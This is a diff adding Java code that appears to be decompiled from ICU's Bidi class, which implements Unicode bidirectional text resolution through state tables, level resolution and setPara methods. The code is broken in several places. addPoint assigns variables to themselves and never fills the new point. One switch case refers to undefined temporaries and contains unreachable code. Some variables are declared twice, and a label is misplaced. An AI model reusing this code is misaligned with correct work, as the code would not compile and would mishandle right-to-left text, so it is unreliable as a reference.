+  private static final byte[][] impTabR_DEFAULT = { { 1, 0, 2, 2, 0, 0, 0, 0 }, { 1, 0, 1, 3, 20, 20, 0, 1 }, { 1, 0, 2, 2, 0, 0, 0, 1 }, { 1, 0, 1, 3, 5, 5, 0, 1 }, { 33, 0, 33, 3, 4, 4, 0, 0 }, { 1, 0, 1, 3, 5, 5, 0, 0 } };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final short[] impAct0 = { 0, 1, 2, 3, 4, 5, 6 };
+  
+  private static final ImpTabPair impTab_DEFAULT = new ImpTabPair(impTabL_DEFAULT, impTabR_DEFAULT, impAct0, impAct0);
+  
+
+  private static final byte[][] impTabL_NUMBERS_SPECIAL = { { 0, 2, 1, 1, 0, 0, 0, 0 }, { 0, 2, 1, 1, 0, 0, 0, 2 }, { 0, 2, 4, 4, 19, 0, 0, 1 }, { 32, 2, 4, 4, 3, 3, 32, 1 }, { 0, 2, 4, 4, 19, 19, 0, 2 } };
+  
+
+
+
+
+
+
+
+
+
+  private static final ImpTabPair impTab_NUMBERS_SPECIAL = new ImpTabPair(impTabL_NUMBERS_SPECIAL, impTabR_DEFAULT, impAct0, impAct0);
+  
+
+  private static final byte[][] impTabL_GROUP_NUMBERS_WITH_R = { { 0, 3, 17, 17, 0, 0, 0, 0 }, { 32, 3, 1, 1, 2, 32, 32, 2 }, { 32, 3, 1, 1, 2, 32, 32, 1 }, { 0, 3, 5, 5, 20, 0, 0, 1 }, { 32, 3, 5, 5, 4, 32, 32, 1 }, { 0, 3, 5, 5, 20, 0, 0, 2 } };
+  
+
+
+
+
+
+
+
+
+
+
+  private static final byte[][] impTabR_GROUP_NUMBERS_WITH_R = { { 2, 0, 1, 1, 0, 0, 0, 0 }, { 2, 0, 1, 1, 0, 0, 0, 1 }, { 2, 0, 20, 20, 19, 0, 0, 1 }, { 34, 0, 4, 4, 3, 0, 0, 0 }, { 34, 0, 4, 4, 3, 0, 0, 1 } };
+  
+
+
+
+
+
+
+
+
+
+  private static final ImpTabPair impTab_GROUP_NUMBERS_WITH_R = new ImpTabPair(impTabL_GROUP_NUMBERS_WITH_R, impTabR_GROUP_NUMBERS_WITH_R, impAct0, impAct0);
+  
+
+
+  private static final byte[][] impTabL_INVERSE_NUMBERS_AS_L = { { 0, 1, 0, 0, 0, 0, 0, 0 }, { 0, 1, 0, 0, 20, 20, 0, 1 }, { 0, 1, 0, 0, 21, 21, 0, 2 }, { 0, 1, 0, 0, 20, 20, 0, 2 }, { 32, 1, 32, 32, 4, 4, 32, 1 }, { 32, 1, 32, 32, 5, 5, 32, 1 } };
+  
+
+
+
+
+
+
+
+
+
+
+  private static final byte[][] impTabR_INVERSE_NUMBERS_AS_L = { { 1, 0, 1, 1, 0, 0, 0, 0 }, { 1, 0, 1, 1, 20, 20, 0, 1 }, { 1, 0, 1, 1, 0, 0, 0, 1 }, { 1, 0, 1, 1, 5, 5, 0, 1 }, { 33, 0, 33, 33, 4, 4, 0, 0 }, { 1, 0, 1, 1, 5, 5, 0, 0 } };
+  
+
+
+
+
+
+
+
+
+
+
+  private static final ImpTabPair impTab_INVERSE_NUMBERS_AS_L = new ImpTabPair(impTabL_INVERSE_NUMBERS_AS_L, impTabR_INVERSE_NUMBERS_AS_L, impAct0, impAct0);
+  
+
+
+  private static final byte[][] impTabR_INVERSE_LIKE_DIRECT = { { 1, 0, 2, 2, 0, 0, 0, 0 }, { 1, 0, 1, 2, 19, 19, 0, 1 }, { 1, 0, 2, 2, 0, 0, 0, 1 }, { 33, 48, 6, 4, 3, 3, 48, 0 }, { 33, 48, 6, 4, 5, 5, 48, 3 }, { 33, 48, 6, 4, 5, 5, 48, 2 }, { 33, 48, 6, 4, 3, 3, 48, 1 } };
+  
+
+
+
+
+
+
+
+
+
+
+
+  private static final short[] impAct1 = { 0, 1, 11, 12 };
+  private static final ImpTabPair impTab_INVERSE_LIKE_DIRECT = new ImpTabPair(impTabL_DEFAULT, impTabR_INVERSE_LIKE_DIRECT, impAct0, impAct1);
+  
+
+  private static final byte[][] impTabL_INVERSE_LIKE_DIRECT_WITH_MARKS = { { 0, 99, 0, 1, 0, 0, 0, 0 }, { 0, 99, 0, 1, 18, 48, 0, 4 }, { 32, 99, 32, 1, 2, 48, 32, 3 }, { 0, 99, 85, 86, 20, 48, 0, 3 }, { 48, 67, 85, 86, 4, 48, 48, 3 }, { 48, 67, 5, 86, 20, 48, 48, 4 }, { 48, 67, 85, 6, 20, 48, 48, 4 } };
+  
+
+
+
+
+
+
+
+
+
+
+  private static final byte[][] impTabR_INVERSE_LIKE_DIRECT_WITH_MARKS = { { 19, 0, 1, 1, 0, 0, 0, 0 }, { 35, 0, 1, 1, 2, 64, 0, 1 }, { 35, 0, 1, 1, 2, 64, 0, 0 }, { 3, 0, 3, 54, 20, 64, 0, 1 }, { 83, 64, 5, 54, 4, 64, 64, 0 }, { 83, 64, 5, 54, 4, 64, 64, 1 }, { 83, 64, 6, 6, 4, 64, 64, 3 } };
+  
+
+
+
+
+
+
+
+
+
+
+
+  private static final short[] impAct2 = { 0, 1, 7, 8, 9, 10 };
+  private static final ImpTabPair impTab_INVERSE_LIKE_DIRECT_WITH_MARKS = new ImpTabPair(impTabL_INVERSE_LIKE_DIRECT_WITH_MARKS, impTabR_INVERSE_LIKE_DIRECT_WITH_MARKS, impAct0, impAct2);
+  
+
+
+  private static final ImpTabPair impTab_INVERSE_FOR_NUMBERS_SPECIAL = new ImpTabPair(impTabL_NUMBERS_SPECIAL, impTabR_INVERSE_LIKE_DIRECT, impAct0, impAct1);
+  
+
+  private static final byte[][] impTabL_INVERSE_FOR_NUMBERS_SPECIAL_WITH_MARKS = { { 0, 98, 1, 1, 0, 0, 0, 0 }, { 0, 98, 1, 1, 0, 48, 0, 4 }, { 0, 98, 84, 84, 19, 48, 0, 3 }, { 48, 66, 84, 84, 3, 48, 48, 3 }, { 48, 66, 4, 4, 19, 48, 48, 4 } };
+  
+
+
+
+
+
+
+
+
+  private static final ImpTabPair impTab_INVERSE_FOR_NUMBERS_SPECIAL_WITH_MARKS = new ImpTabPair(impTabL_INVERSE_FOR_NUMBERS_SPECIAL_WITH_MARKS, impTabR_INVERSE_LIKE_DIRECT_WITH_MARKS, impAct0, impAct2);
+  
+
+
+  static final int FIRSTALLOC = 10;
+  
+
+
+  public static final int DIRECTION_LEFT_TO_RIGHT = 0;
+  
+
+  public static final int DIRECTION_RIGHT_TO_LEFT = 1;
+  
+
+  public static final int DIRECTION_DEFAULT_LEFT_TO_RIGHT = 126;
+  
+
+  public static final int DIRECTION_DEFAULT_RIGHT_TO_LEFT = 127;
+  
+
+
+  private void addPoint(int pos, int flag)
+  {
+    Point point = new Point();
+    
+    int len = insertPoints.points.length;
+    if (len == 0) {
+      insertPoints.points = new Point[10];
+      len = 10;
+    }
+    if (insertPoints.size >= len) {
+      Point[] savePoints = insertPoints.points;
+      insertPoints.points = new Point[len * 2];
+      System.arraycopy(savePoints, 0, insertPoints.points, 0, len);
+    }
+    pos = pos;
+    flag = flag;
+    insertPoints.points[insertPoints.size] = point;
+    insertPoints.size += 1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void processPropertySeq(LevState levState, short _prop, int start, int limit)
+  {
+    byte[][] impTab = impTab;
+    short[] impAct = impAct;
+    
+
+
+
+    int start0 = start;
+    short oldStateSeq = state;
+    byte cell = impTab[oldStateSeq][_prop];
+    state = GetState(cell);
+    short actionSeq = impAct[GetAction(cell)];
+    byte addLevel = impTab[state][7];
+    int k;
+    byte level; if (actionSeq != 0)
+      switch (actionSeq) {
+      case 1: 
+        startON = start0;
+        break;
+      
+      case 2: 
+        start = startON;
+        break;
+      
+
+      case 3: 
+        if (startL2EN >= 0) {
+          addPoint(startL2EN, 1);
+        }
+        startL2EN = -1;
+        
+        if ((insertPoints.points.length == 0) || (insertPoints.size <= insertPoints.confirmed))
+        {
+
+          lastStrongRTL = -1;
+          
+          byte level = impTab[oldStateSeq][7];
+          if (((level & 0x1) != 0) && (startON > 0)) {
+            start = startON;
+          }
+          if (_prop == 5) {
+            addPoint(start0, 1);
+            insertPoints.confirmed = insertPoints.size;
+          }
+        }
+        else
+        {
+          for (k = lastStrongRTL + 1; k < start0; k++)
+          {
+            levels[k] = ((byte)(levels[k] - 2 & 0xFFFFFFFE));
+          }
+          
+          insertPoints.confirmed = insertPoints.size;
+          lastStrongRTL = -1;
+          if (_prop == 5) {
+            addPoint(start0, 1);
+            insertPoints.confirmed = insertPoints.size;
+          }
+        }
+        
+        break;
+      case 4: 
+        if (insertPoints.points.length > 0)
+        {
+          insertPoints.size = insertPoints.confirmed; }
+        startON = -1;
+        startL2EN = -1;
+        lastStrongRTL = (limit - 1);
+        break;
+      
+
+      case 5: 
+        if ((_prop == 3) && (NoContextRTL(dirProps[start0]) == 5) && (reorderingMode != 6))
+        {
+
+
+          if (startL2EN == -1)
+          {
+            lastStrongRTL = (limit - 1);
+          }
+          else {
+            if (startL2EN >= 0) {
+              addPoint(startL2EN, 1);
+              startL2EN = -2;
+            }
+            
+            addPoint(start0, 1);
+          }
+          
+        }
+        else if (startL2EN == -1) {
+          startL2EN = start0;
+        }
+        
+        break;
+      case 6: 
+        lastStrongRTL = (limit - 1);
+        startON = -1;
+        break;
+      
+
+      case 7: 
+        for (k = start0 - 1; (k >= 0) && ((levels[k] & 0x1) == 0); k--) {}
+        
+        if (k >= 0) {
+          addPoint(k, 4);
+          insertPoints.confirmed = insertPoints.size;
+        }
+        startON = start0;
+        break;
+      
+
+
+      case 8: 
+        addPoint(start0, 1);
+        addPoint(start0, 2);
+        break;
+      
+
+      case 9: 
+        insertPoints.size = insertPoints.confirmed;
+        if (_prop == 5) {
+          addPoint(start0, 4);
+          insertPoints.confirmed = insertPoints.size;
+        }
+        
+        break;
+      case 10: 
+        level = (byte)(runLevel + addLevel);
+        for (k = startON; k < start0; k++) {
+          if (levels[k] < level) {
+            levels[k] = level;
+          }
+        }
+        insertPoints.confirmed = insertPoints.size;
+        startON = start0;
+        break;
+      
+      case 11: 
+        level = runLevel;
+        for (k = start0 - 1; k >= startON;) {
+          if (levels[k] == level + 3) {
+            for (; levels[k] == level + 3; 
+                tmp763_755[tmp763_760] = ((byte)(tmp763_755[tmp763_760] - 2))) {}
+            
+            while (levels[k] == level) {
+              k--;
+            }
+          }
+          if (levels[k] == level + 2) {
+            levels[k] = level;
+          }
+          else {
+            levels[k] = ((byte)(level + 1));
+          }
+          k--; continue;
+          
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+          level = (byte)(runLevel + 1);
+          for (k = start0 - 1; k >= startON;) {
+            if (levels[k] > level) {
+              int tmp876_874 = k; byte[] tmp876_871 = levels;tmp876_871[tmp876_874] = ((byte)(tmp876_871[tmp876_874] - 2));
+            }
+            k--; continue;
+            
+
+
+
+
+
+
+            throw new IllegalStateException("Internal ICU error in processPropertySeq");
+          }
+        } }
+    if ((addLevel != 0) || (start < start0)) {
+      level = (byte)(runLevel + addLevel);
+      for (k = start; k < limit; k++) {
+        levels[k] = level;
+      }
+    }
+  }
+  
+
+
+
+  private byte lastL_R_AL()
+  {
+    for (int i = prologue.length(); i > 0;) {
+      int uchar = prologue.codePointBefore(i);
+      i -= Character.charCount(uchar);
+      byte dirProp = (byte)getCustomizedClass(uchar);
+      if (dirProp == 0) {
+        return 0;
+      }
+      if ((dirProp == 1) || (dirProp == 13)) {
+        return 1;
+      }
+      if (dirProp == 7) {
+        return 4;
+      }
+    }
+    return 4;
+  }
+  
+
+
+
+  private byte firstL_R_AL_EN_AN()
+  {
+    for (int i = 0; i < epilogue.length();) {
+      int uchar = epilogue.codePointAt(i);
+      i += Character.charCount(uchar);
+      byte dirProp = (byte)getCustomizedClass(uchar);
+      if (dirProp == 0) {
+        return 0;
+      }
+      if ((dirProp == 1) || (dirProp == 13)) {
+        return 1;
+      }
+      if (dirProp == 2) {
+        return 2;
+      }
+      if (dirProp == 5) {
+        return 3;
+      }
+    }
+    return 4;
+  }
+  
+  private void resolveImplicitLevels(int start, int limit, short sor, short eor)
+  {
+    LevState levState = new LevState(null);
+    
+
+
+
+    short nextStrongProp = 1;
+    int nextStrongPos = -1;
+    
+
+
+
+
+
+
+
+
+    boolean inverseRTL = (start < lastArabicPos) && ((GetParaLevelAt(start) & 0x1) > 0) && ((reorderingMode == 5) || (reorderingMode == 6));
+    
+
+
+    startL2EN = -1;
+    lastStrongRTL = -1;
+    state = 0;
+    runLevel = levels[start];
+    impTab = impTabPair.imptab[(runLevel & 0x1)];
+    impAct = impTabPair.impact[(runLevel & 0x1)];
+    if ((start == 0) && (prologue != null)) {
+      byte lastStrong = lastL_R_AL();
+      if (lastStrong != 4) {
+        sor = (short)lastStrong;
+      }
+    }
+    processPropertySeq(levState, sor, start, start);
+    short stateImp;
+    short stateImp; if (NoContextRTL(dirProps[start]) == 17) {
+      stateImp = (short)(1 + sor);
+    } else {
+      stateImp = 0;
+    }
+    int start1 = start;
+    int start2 = 0;
+    
+    for (int i = start; i <= limit; i++) { short gprop;
+      short gprop; if (i >= limit) {
+        gprop = eor;
+      }
+      else {
+        short prop = (short)NoContextRTL(dirProps[i]);
+        if (inverseRTL) {
+          if (prop == 13)
+          {
+            prop = 1;
+          } else if (prop == 2) {
+            if (nextStrongPos <= i)
+            {
+
+              nextStrongProp = 1;
+              nextStrongPos = limit;
+              for (int j = i + 1; j < limit; j++) {
+                short prop1 = (short)NoContextRTL(dirProps[j]);
+                if ((prop1 == 0) || (prop1 == 1) || (prop1 == 13)) {
+                  nextStrongProp = prop1;
+                  nextStrongPos = j;
+                  break;
+                }
+              }
+            }
+            if (nextStrongProp == 13) {
+              prop = 5;
+            }
+          }
+        }
+        gprop = groupProp[prop];
+      }
+      short oldStateImp = stateImp;
+      short cell = impTabProps[oldStateImp][gprop];
+      stateImp = GetStateProps(cell);
+      short actionImp = GetActionProps(cell);
+      if ((i == limit) && (actionImp == 0))
+      {
+        actionImp = 1;
+      }
+      if (actionImp != 0) {
+        short resProp = impTabProps[oldStateImp][13];
+        switch (actionImp) {
+        case 1: 
+          processPropertySeq(levState, resProp, start1, i);
+          start1 = i;
+          break;
+        case 2: 
+          start2 = i;
+          break;
+        case 3: 
+          processPropertySeq(levState, resProp, start1, start2);
+          processPropertySeq(levState, (short)4, start2, i);
+          start1 = i;
+          break;
+        case 4: 
+          processPropertySeq(levState, resProp, start1, start2);
+          start1 = start2;
+          start2 = i;
+          break;
+        default: 
+          throw new IllegalStateException("Internal ICU error in resolveImplicitLevels");
+        }
+        
+      }
+    }
+    if ((limit == length) && (epilogue != null)) {
+      byte firstStrong = firstL_R_AL_EN_AN();
+      if (firstStrong != 4) {
+        eor = (short)firstStrong;
+      }
+    }
+    processPropertySeq(levState, eor, limit, limit);
+  }
+  
+
+
+
+
+
+
+
+
+
+  private void adjustWSLevels()
+  {
+    if ((flags & MASK_WS) != 0)
+    {
+      int i = trailingWSStart;
+      for (;;) { if (i <= 0) return;
+        int flag;
+        while ((i > 0) && (((flag = DirPropFlagNC(dirProps[(--i)])) & MASK_WS) != 0)) {
+          if ((orderParagraphsLTR) && ((flag & DirPropFlag((byte)7)) != 0)) {
+            levels[i] = 0;
+          } else {
+            levels[i] = GetParaLevelAt(i);
+          }
+        }
+        
+        int flag;
+        
+        while (i > 0) {
+          flag = DirPropFlagNC(dirProps[(--i)]);
+          if ((flag & MASK_BN_EXPLICIT) == 0) break label128;
+          levels[i] = levels[(i + 1)]; }
+        continue; label128: if ((orderParagraphsLTR) && ((flag & DirPropFlag((byte)7)) != 0)) {
+          levels[i] = 0;
+        } else {
+          if ((flag & MASK_B_S) == 0) break;
+          levels[i] = GetParaLevelAt(i);
+        }
+      }
+    }
+  }
+  
+
+  int Bidi_Min(int x, int y)
+  {
+    return x < y ? x : y;
+  }
+  
+  int Bidi_Abs(int x) {
+    return x >= 0 ? x : -x;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  void setParaRunsOnly(char[] parmText, byte parmParaLevel)
+  {
+    reorderingMode = 0;
+    int parmLength = parmText.length;
+    if (parmLength == 0) {
+      setPara(parmText, parmParaLevel, null);
+      reorderingMode = 3;
+      return;
+    }
+    
+    int saveOptions = reorderingOptions;
+    if ((saveOptions & 0x1) > 0) {
+      reorderingOptions &= 0xFFFFFFFE;
+      reorderingOptions |= 0x2;
+    }
+    parmParaLevel = (byte)(parmParaLevel & 0x1);
+    setPara(parmText, parmParaLevel, null);
+    
+
+
+    byte[] saveLevels = new byte[length];
+    System.arraycopy(getLevels(), 0, saveLevels, 0, length);
+    int saveTrailingWSStart = trailingWSStart;
+    
+
+
+
+
+
+
+    String visualText = writeReordered(2);
+    int[] visualMap = getVisualMap();
+    reorderingOptions = saveOptions;
+    int saveLength = length;
+    byte saveDirection = direction;
+    
+    reorderingMode = 5;
+    parmParaLevel = (byte)(parmParaLevel ^ 0x1);
+    setPara(visualText, parmParaLevel, null);
+    BidiLine.getRuns(this);
+    
+    int addedRuns = 0;
+    int oldRunCount = runCount;
+    int visualStart = 0;
+    int runLength; for (int i = 0; i < oldRunCount; visualStart += runLength) {
+      runLength = runs[i].limit - visualStart;
+      if (runLength >= 2)
+      {
+
+        int logicalStart = runs[i].start;
+        for (int j = logicalStart + 1; j < logicalStart + runLength; j++) {
+          int index = visualMap[j];
+          int index1 = visualMap[(j - 1)];
+          if ((Bidi_Abs(index - index1) != 1) || (saveLevels[index] != saveLevels[index1])) {
+            addedRuns++;
+          }
+        }
+      }
+      i++;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+    if (addedRuns > 0) {
+      getRunsMemory(oldRunCount + addedRuns);
+      if (runCount == 1)
+      {
+        runsMemory[0] = runs[0];
+      } else {
+        System.arraycopy(runs, 0, runsMemory, 0, runCount);
+      }
+      runs = runsMemory;
+      runCount += addedRuns;
+      for (i = oldRunCount; i < runCount; i++) {
+        if (runs[i] == null) {
+          runs[i] = new BidiRun(0, 0, 0);
+        }
+      }
+    }
+    
+
+    for (i = oldRunCount - 1; i >= 0; i--) {
+      int newI = i + addedRuns;
+      int runLength = i == 0 ? runs[0].limit : runs[i].limit - runs[(i - 1)].limit;
+      
+      int logicalStart = runs[i].start;
+      int indexOddBit = runs[i].level & 0x1;
+      if (runLength < 2) {
+        if (addedRuns > 0) {
+          runs[newI].copyFrom(runs[i]);
+        }
+        int logicalPos = visualMap[logicalStart];
+        runs[newI].start = logicalPos;
+        runs[newI].level = ((byte)(saveLevels[logicalPos] ^ indexOddBit)); } else { int step;
+        int start;
+        int limit;
+        int step; if (indexOddBit > 0) {
+          int start = logicalStart;
+          int limit = logicalStart + runLength - 1;
+          step = 1;
+        } else {
+          start = logicalStart + runLength - 1;
+          limit = logicalStart;
+          step = -1;
+        }
+        for (int j = start; j != limit; j += step) {
+          int index = visualMap[j];
+          int index1 = visualMap[(j + step)];
+          if ((Bidi_Abs(index - index1) != 1) || (saveLevels[index] != saveLevels[index1])) {
+            int logicalPos = Bidi_Min(visualMap[start], index);
+            runs[newI].start = logicalPos;
+            runs[newI].level = ((byte)(saveLevels[logicalPos] ^ indexOddBit));
+            runs[newI].limit = runs[i].limit;
+            runs[i].limit -= Bidi_Abs(j - start) + 1;
+            int insertRemove = runs[i].insertRemove & 0xA;
+            runs[newI].insertRemove = insertRemove;
+            runs[i].insertRemove &= (insertRemove ^ 0xFFFFFFFF);
+            start = j + step;
+            addedRuns--;
+            newI--;
+          }
+        }
+        if (addedRuns > 0) {
+          runs[newI].copyFrom(runs[i]);
+        }
+        int logicalPos = Bidi_Min(visualMap[start], visualMap[limit]);
+        runs[newI].start = logicalPos;
+        runs[newI].level = ((byte)(saveLevels[logicalPos] ^ indexOddBit));
+      }
+    }
+    
+
+    paraLevel = ((byte)(paraLevel ^ 0x1));
+    
+
+    text = parmText;
+    length = saveLength;
+    originalLength = parmLength;
+    direction = saveDirection;
+    levels = saveLevels;
+    trailingWSStart = saveTrailingWSStart;
+    if (runCount > 1) {
+      direction = 2;
+    }
+    
+    reorderingMode = 3;
+  }
+  
+  private void setParaSuccess() {
+    prologue = null;
+    epilogue = null;
+    paraBidi = this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setContext(String prologue, String epilogue)
+  {
+    this.prologue = ((prologue != null) && (prologue.length() > 0) ? prologue : null);
+    this.epilogue = ((epilogue != null) && (epilogue.length() > 0) ? epilogue : null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setPara(String text, byte paraLevel, byte[] embeddingLevels)
+  {
+    if (text == null) {
+      setPara(new char[0], paraLevel, embeddingLevels);
+    } else {
+      setPara(text.toCharArray(), paraLevel, embeddingLevels);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setPara(char[] chars, byte paraLevel, byte[] embeddingLevels)
+  {
+    if (paraLevel < 126) {
+      verifyRange(paraLevel, 0, 62);
+    }
+    if (chars == null) {
+      chars = new char[0];
+    }
+    
+
+    if (reorderingMode == 3) {
+      setParaRunsOnly(chars, paraLevel);
+      return;
+    }
+    
+
+    paraBidi = null;
+    text = chars;
+    length = (this.originalLength = this.resultLength = text.length);
+    this.paraLevel = paraLevel;
+    direction = 0;
+    paraCount = 1;
+    
+
+
+
+    dirProps = new byte[0];
+    levels = new byte[0];
+    runs = new BidiRun[0];
+    isGoodLogicalToVisualRunsMap = false;
+    insertPoints.size = 0;
+    insertPoints.confirmed = 0;
+    
+
+
+
+    if (IsDefaultLevel(paraLevel)) {
+      defaultParaLevel = paraLevel;
+    } else {
+      defaultParaLevel = 0;
+    }
+    
+    if (length == 0)
+    {
+
+
+
+
+      if (IsDefaultLevel(paraLevel)) {
+        this.paraLevel = ((byte)(this.paraLevel & 0x1));
+        defaultParaLevel = 0;
+      }
+      if ((this.paraLevel & 0x1) != 0) {
+        flags = DirPropFlag((byte)1);
+        direction = 1;
+      } else {
+        flags = DirPropFlag((byte)0);
+        direction = 0;
+      }
+      
+      runCount = 0;
+      paraCount = 0;
+      setParaSuccess();
+      return;
+    }
+    
+    runCount = -1;
+    
+
+
+
+
+
+    getDirPropsMemory(length);
+    dirProps = dirPropsMemory;
+    getDirProps();
+    
+    trailingWSStart = length;
+    
+
+    if (paraCount > 1) {
+      getInitialParasMemory(paraCount);
+      paras = parasMemory;
+      paras[(paraCount - 1)] = length;
+    }
+    else {
+      paras = simpleParas;
+      simpleParas[0] = length;
+    }
+    
+
+    if (embeddingLevels == null)
+    {
+      getLevelsMemory(length);
+      levels = levelsMemory;
+      direction = resolveExplicitLevels();
+    }
+    else {
+      levels = embeddingLevels;
+      direction = checkExplicitLevels();
+    }
+    
+
+
+
+
+    switch (direction)
+    {
+    case 0: 
+      paraLevel = (byte)(paraLevel + 1 & 0xFFFFFFFE);
+      
+
+      trailingWSStart = 0;
+      break;
+    
+    case 1: 
+      paraLevel = (byte)(paraLevel | 0x1);
+      
+
+      trailingWSStart = 0;
+      break;
+    
+
+
+    default: 
+      switch (reorderingMode) {
+      case 0: 
+        impTabPair = impTab_DEFAULT;
+        break;
+      case 1: 
+        impTabPair = impTab_NUMBERS_SPECIAL;
+        break;
+      case 2: 
+        impTabPair = impTab_GROUP_NUMBERS_WITH_R;
+        break;
+      
+      case 3: 
+        throw new InternalError("Internal ICU error in setPara");
+      
+      case 4: 
+        impTabPair = impTab_INVERSE_NUMBERS_AS_L;
+        break;
+      case 5: 
+        if ((reorderingOptions & 0x1) != 0) {
+          impTabPair = impTab_INVERSE_LIKE_DIRECT_WITH_MARKS;
+        } else {
+          impTabPair = impTab_INVERSE_LIKE_DIRECT;
+        }
+        break;
+      case 6: 
+        if ((reorderingOptions & 0x1) != 0) {
+          impTabPair = impTab_INVERSE_FOR_NUMBERS_SPECIAL_WITH_MARKS;
+        } else {
+          impTabPair = impTab_INVERSE_FOR_NUMBERS_SPECIAL;
+        }
+        
+
+
+
+
+        break;
+      }
+      
+      
+
+
+
+
+      if ((embeddingLevels == null) && (paraCount <= 1) && ((flags & DirPropFlagMultiRuns) == 0))
+      {
+        resolveImplicitLevels(0, length, (short)GetLRFromLevel(GetParaLevelAt(0)), (short)GetLRFromLevel(GetParaLevelAt(length - 1)));
+
+      }
+      else
+      {
+        int limit = 0;
+        
+
+
+
+        byte level = GetParaLevelAt(0);
+        byte nextLevel = levels[0];
+        short eor; short eor; if (level < nextLevel) {
+          eor = (short)GetLRFromLevel(nextLevel);
+        } else {
+          eor = (short)GetLRFromLevel(level);
+        }
+        
+
+
+        do
+        {
+          int start = limit;
+          level = nextLevel;
+          short sor; short sor; if ((start > 0) && (NoContextRTL(dirProps[(start - 1)]) == 7))
+          {
+            sor = (short)GetLRFromLevel(GetParaLevelAt(start));
+          } else {
+            sor = eor;
+          }
+          do
+          {
+            limit++; } while ((limit < length) && (levels[limit] == level));
+          
+
+          if (limit < length) {
+            nextLevel = levels[limit];
+          } else {
+            nextLevel = GetParaLevelAt(length - 1);
+          }
+          
+
+          if ((level & 0x7F) < (nextLevel & 0x7F)) {
+            eor = (short)GetLRFromLevel(nextLevel);
+          } else {
+            eor = (short)GetLRFromLevel(level);
+          }
+          
+
+
+          if ((level & 0xFFFFFF80) == 0) {
+            resolveImplicitLevels(start, limit, sor, eor);
+          } else {
+            do
+            {
+              int tmp852_849 = (start++); byte[] tmp852_844 = levels;tmp852_844[tmp852_849] = ((byte)(tmp852_844[tmp852_849] & 0x7F));
+            } while (start < limit);
+          }
+        } while (limit < length);
+      }
+      
+
+      adjustWSLevels();
+    }
+    
+    
+
+
+
+    if ((defaultParaLevel > 0) && ((reorderingOptions & 0x1) != 0) && ((reorderingMode == 5) || (reorderingMode == 6)))
+    {
+
+
+
+
+      for (int i = 0; i < paraCount; i++) {
+        int last = paras[i] - 1;
+        if ((dirProps[last] & 0x40) != 0)
+        {
+
+          int start = i == 0 ? 0 : paras[(i - 1)];
+          for (int j = last; j >= start; j--) {
+            byte dirProp = NoContextRTL(dirProps[j]);
+            if (dirProp == 0) {
+              if (j < last) {
+                while (NoContextRTL(dirProps[last]) == 7) {
+                  last--;
+                }
+              }
+              addPoint(last, 4);
+            }
+            else {
+              if ((DirPropFlag(dirProp) & 0x2002) != 0)
+                break;
+            }
+          }
+        }
+      }
+    }
+    if ((reorderingOptions & 0x2) != 0) {
+      resultLength -= controlCount;
+    } else {
+      resultLength += insertPoints.size;
+    }
+    setParaSuccess();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setPara(AttributedCharacterIterator paragraph)
+  {
+    Boolean runDirection = (Boolean)paragraph.getAttribute(TextAttribute.RUN_DIRECTION);
+    byte paraLvl; byte paraLvl; if (runDirection == null) {
+      paraLvl = 126;
+    } else {
+      paraLvl = runDirection.equals(TextAttribute.RUN_DIRECTION_LTR) ? 0 : 1;
+    }
+    
+
+    byte[] lvls = null;
+    int len = paragraph.getEndIndex() - paragraph.getBeginIndex();
+    byte[] embeddingLevels = new byte[len];
+    char[] txt = new char[len];
+    int i = 0;
+    char ch = paragraph.first();
+    while (ch != 65535) {
+      txt[i] = ch;
+      Integer embedding = (Integer)paragraph.getAttribute(TextAttribute.BIDI_EMBEDDING);
+      if (embedding != null) {
+        byte level = embedding.byteValue();
+        if (level != 0)
+        {
+          if (level < 0) {
+            lvls = embeddingLevels;
+            embeddingLevels[i] = ((byte)(0 - level | 0xFFFFFF80));
+          } else {
+            lvls = embeddingLevels;
+            embeddingLevels[i] = level;
+          } }
+      }
+      ch = paragraph.next();
+      i++;
+    }
+    
+    NumericShaper shaper = (NumericShaper)paragraph.getAttribute(TextAttribute.NUMERIC_SHAPING);
+    if (shaper != null) {
+      shaper.shape(txt, 0, len);
+    }
+    setPara(txt, paraLvl, lvls);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void orderParagraphsLTR(boolean ordarParaLTR)
+  {
+    orderParagraphsLTR = ordarParaLTR;
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean isOrderParagraphsLTR()
+  {
+    return orderParagraphsLTR;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public byte getDirection()
+  {
+    verifyValidParaOrLine();
+    return direction;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String getTextAsString()
+  {
+    verifyValidParaOrLine();
+    return new String(text);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public char[] getText()
+  {
+    verifyValidParaOrLine();
+    return text;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public int getLength()
+  {
+    verifyValidParaOrLine();
+    return originalLength;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getProcessedLength()
+  {
+    verifyValidParaOrLine();
+    return length;
+  }
+  
+
+
+
+
+
+
+
+
